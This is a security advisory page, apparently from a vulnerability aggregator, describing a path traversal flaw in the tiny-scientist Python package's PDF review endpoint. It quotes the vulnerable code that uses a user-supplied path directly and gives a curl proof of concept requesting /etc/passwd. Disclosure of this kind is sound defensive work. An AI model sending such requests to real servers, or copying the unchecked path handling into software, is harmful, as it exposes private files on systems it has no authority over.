Medium

TinyScientist has Path Traversal Vulnerability in PDF Review Function (CWE-22)

  • Disclosed: 11.08.2025
  • Updated: 11.10.2026 15:17

Description

A critical path traversal vulnerability (CWE-22) has been identified in the review_paper function in backend/app.py. The vulnerability allows malicious users to access arbitrary PDF files on the server by providing crafted file paths that bypass the intended security restrictions.

Impact

This vulnerability allows attackers to:

  • Read any PDF file accessible to the server process
  • Potentially access sensitive documents outside the intended directory
  • Perform reconnaissance on the server's file system structure

Vulnerable Code

The issue occurs in the review_paper function around line 744:

python
if pdf_path.startswith("/api/files/"):
    # Safe path handling for API routes
    relative_path = pdf_path[len("/api/files/"):]
    generated_base = os.path.join(project_root, "generated")
    absolute_pdf_path = os.path.join(generated_base, relative_path)
else:
    absolute_pdf_path = pdf_path  # VULNERABLE: Direct use of user input

Proof of Concept

bash
curl -X POST http://localhost:5000/api/review \
  -H "Content-Type: application/json" \
  -d '{"pdf_path": "/etc/passwd"}'

Credit

This vulnerability was discovered and reported by Ruizhe.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) tiny-scientist <= 1.1.0 no fix

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:U
Weakness (CWE)
CWE-22
Platform
Python (PyPI)
Package
tiny-scientist
Disclosed
11.08.2025
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1967 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-rrgf-hcr9-jq6h - CC BY 4.0

Vulnerability history: tiny-scientist

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.